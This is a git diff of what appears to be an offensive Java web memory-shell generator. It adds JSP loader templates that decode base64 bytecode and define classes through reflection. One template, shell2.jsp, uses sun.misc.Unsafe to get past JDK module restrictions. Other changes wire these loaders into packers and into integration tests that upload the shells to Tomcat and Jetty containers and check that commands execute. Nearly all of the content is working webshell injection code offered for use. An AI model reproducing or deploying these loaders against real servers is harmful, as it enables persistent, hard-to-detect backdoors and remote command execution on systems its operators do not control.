diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java index b2861300..1f0d2bda 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java @@ -24,9 +24,7 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker; import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker; import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker; -import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker; -import com.reajason.javaweb.memshell.packer.jsp.JspPacker; -import com.reajason.javaweb.memshell.packer.jsp.JspxPacker; +import com.reajason.javaweb.memshell.packer.jsp.*; import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker; import com.reajason.javaweb.memshell.packer.mvel.MVELPacker; import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; @@ -68,7 +66,9 @@ public enum Packers { * JSP 打包器 */ JSP(new JspPacker()), - DefaultJSP(new DefalutJspPacker(), JspPacker.class), + ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), + DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), + BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class), JSPX(new JspxPacker(), JspPacker.class), /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java new file mode 100644 index 00000000..99c98f46 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memshell.packer.jsp; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class BypassDefineClassJspPacker implements Packer { + + String jspTemplate = null; + + public BypassDefineClassJspPacker() { + try { + jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset()); + } catch (Exception ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java similarity index 91% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java index b2b0f7cb..6bf705be 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java @@ -12,11 +12,11 @@ import java.util.Objects; * @author ReaJason * @since 2024/11/26 */ -public class DefalutJspPacker implements Packer { +public class ClassLoaderJspPacker implements Packer { String jspTemplate = null; - public DefalutJspPacker() { + public ClassLoaderJspPacker() { try { jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); } catch (Exception ignored) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java new file mode 100644 index 00000000..42b9f8a8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memshell.packer.jsp; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class DefineClassJspPacker implements Packer { + + String jspTemplate = null; + + public DefineClassJspPacker() { + try { + jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset()); + } catch (Exception ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); + } +} \ No newline at end of file diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp index 6cacca09..147d0e92 100644 --- a/generator/src/main/resources/shell.jsp +++ b/generator/src/main/resources/shell.jsp @@ -1,50 +1,27 @@ <%! public static class ClassDefiner extends ClassLoader { - public ClassDefiner() { - super(Thread.currentThread().getContextClassLoader()); + public ClassDefiner(ClassLoader classLoader) { + super(classLoader); } - - public byte[] decodeBase64(String bytecodeBase64) { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { - try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; - } - } - } - public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } - - @Override - public String toString() { - String className = "{{className}}"; - String base64Str = "{{base64Str}}"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - classLoader.loadClass(className).newInstance(); - } catch (Exception e) { - try { - byte[] bytecode = decodeBase64(base64Str); - Class clazz = defineClass(bytecode); - clazz.newInstance(); - } catch (Exception ignored) { - } - } - return className; - } } %> <% - new ClassDefiner().toString(); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + String base64Str = "{{base64Str}}"; + byte[] bytecode = null; + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (ClassNotFoundException ee) { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); + } + Class clazz = new ClassDefiner(classLoader).defineClass(bytecode); + clazz.newInstance(); %> \ No newline at end of file diff --git a/generator/src/main/resources/shell.jspx b/generator/src/main/resources/shell.jspx index 6b50ff95..be3e4276 100644 --- a/generator/src/main/resources/shell.jspx +++ b/generator/src/main/resources/shell.jspx @@ -3,51 +3,28 @@ base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { - try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; - } - } - } - public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } - - @Override - public String toString() { - String className = "{{className}}"; - String base64Str = "{{base64Str}}"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - classLoader.loadClass(className).newInstance(); - } catch (Exception e) { - try { - byte[] bytecode = decodeBase64(base64Str); - Class clazz = defineClass(bytecode); - clazz.newInstance(); - } catch (Exception ignored) { - } - } - return className; - } } ]]> \ No newline at end of file diff --git a/generator/src/main/resources/shell1.jsp b/generator/src/main/resources/shell1.jsp new file mode 100644 index 00000000..317ae988 --- /dev/null +++ b/generator/src/main/resources/shell1.jsp @@ -0,0 +1,18 @@ +<% + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + String base64Str = "{{base64Str}}"; + byte[] bytecode = null; + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (ClassNotFoundException e) { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); + } + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); + clazz.newInstance(); +%> \ No newline at end of file diff --git a/generator/src/main/resources/shell2.jsp b/generator/src/main/resources/shell2.jsp new file mode 100644 index 00000000..a718f65e --- /dev/null +++ b/generator/src/main/resources/shell2.jsp @@ -0,0 +1,42 @@ +<%@ page import="java.lang.reflect.Method" %> +<%@ page import="java.lang.reflect.Field" %> +<%@ page import="java.net.URLClassLoader" %> +<%@ page import="java.net.URL" %><% + String base64Str = "{{base64Str}}"; + byte[] bytecode = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (ClassNotFoundException e) { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); + } + Object unsafe = null; + Object rawModule = null; + long offset = 48; + Method getAndSetObjectM = null; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + unsafe = unsafeField.get(null); + rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); + } catch (Throwable ignored) { + } + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + Class clazz = (Class) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length); + if (getAndSetObjectM != null) { + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); + } + clazz.newInstance(); +%> \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index f59610a8..5a24addf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; +import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.config.*; @@ -17,8 +18,6 @@ import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; -import org.java_websocket.client.WebSocketClient; -import org.java_websocket.handshake.ServerHandshake; import org.testcontainers.containers.Container; import org.testcontainers.containers.GenericContainer; import org.testcontainers.shaded.org.apache.commons.io.FileUtils; @@ -28,18 +27,16 @@ import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; import org.testcontainers.utility.MountableFile; import java.io.IOException; -import java.net.URI; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.util.Objects; -import java.util.concurrent.CountDownLatch; -import java.util.concurrent.TimeUnit; import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -207,41 +204,8 @@ public class ShellAssertionTool { @SneakyThrows public static void testWebSocketCommandIsOk(String entrypoint, String payload) { - final CountDownLatch latch = new CountDownLatch(1); - final String[] responseHolder = new String[1]; - final long timeout = 5; - - WebSocketClient client = new WebSocketClient(new URI(entrypoint)) { - @Override - public void onOpen(ServerHandshake data) { - send(payload); - } - - @Override - public void onMessage(String message) { - responseHolder[0] = message; - latch.countDown(); - close(); - } - - @Override - public void onClose(int code, String reason, boolean remote) { - } - - @Override - public void onError(Exception ex) { - } - }; - - client.connect(); - - boolean connected = latch.await(timeout, TimeUnit.SECONDS); - if (!connected) { - fail("连接超时,未能成功连接到 WebSocket 服务器"); - } - - String res = responseHolder[0]; - assertTrue(res.contains("uid=")); + String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload); + assertTrue(response.contains("uid=")); } public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) { @@ -340,9 +304,9 @@ public class ShellAssertionTool { public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer container) { switch (packer) { - case JSP -> { + case JSP, ClassLoaderJSP, DefineClassJSP, BypassDefineClassJSP -> { String uploadEntry = url + "/upload"; - String filename = shellType + shellTool + ".jsp"; + String filename = shellType + shellTool + packer + ".jsp"; String shellUrl = url + "/" + filename; VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 2ecd36d2..2ab36c18 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -57,7 +57,7 @@ public class Jetty11ContainerTest { ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP); + List testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 77c18711..6eb3bdfa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -60,7 +60,7 @@ public class Tomcat11ContainerTest { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher); + List testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index e67abd07..31a1ae74 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -60,7 +60,7 @@ public class Tomcat8ContainerTest { ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher); + List testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); }